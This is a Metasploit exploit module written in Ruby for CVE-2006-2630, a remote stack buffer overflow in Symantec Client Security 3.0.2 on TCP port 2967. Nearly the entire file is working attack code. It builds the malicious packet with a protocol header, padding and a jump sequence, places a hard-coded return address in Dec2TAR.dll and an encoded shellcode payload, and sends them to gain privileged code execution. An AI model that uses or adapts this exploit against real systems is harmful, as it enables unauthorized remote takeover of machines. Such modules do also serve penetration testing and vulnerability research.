Symantec Remote Management Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Symantec Remote Management Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Symantec Client Security 3.0.x.  
This module has only been tested against Symantec Client Security 3.0.2  
build 10.0.2.2000.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-2630'],  
['OSVDB', '25846'],  
['BID', '18107'],  
['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],  
],  
'Privileged' => true,  
  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll  
],  
  
'DefaultTarget' => 0,  
  
'DisclosureDate' => 'May 24 2006'))  
  
register_options( [ Opt::RPORT(2967) ], self.class )  
end  
  
def exploit  
connect  
  
header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"  
header << "\x02\x18\x00\x01\x00\x00\x00\x00"  
header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"  
header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"  
  
crufta = rand_text_alphanumeric(512)  
cruftb = rand_text_alphanumeric(514)  
cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)  
cruftd = rand_text_alphanumeric(495)  
  
cruftd[479, 2] = "\xeb\x06"  
cruftd[483, 4] = [target.ret].pack('V')  
cruftd[487, 5] = [0xe8, -1000].pack('CV')  
  
cruftd << rand_text_alphanumeric(21)  
crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"  
crufte << rand_text_alphanumeric(504) + "\x00\x00"  
  
overflow = [ crufta.length ].pack('v') + crufta  
overflow << [ cruftb.length ].pack('v') + cruftb  
overflow << [ cruftc.length ].pack('v') + cruftc  
overflow << [ cruftd.length ].pack('v') + cruftd   
overflow << [ crufte.length ].pack('v') + crufte  
  
sploit = header + overflow  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`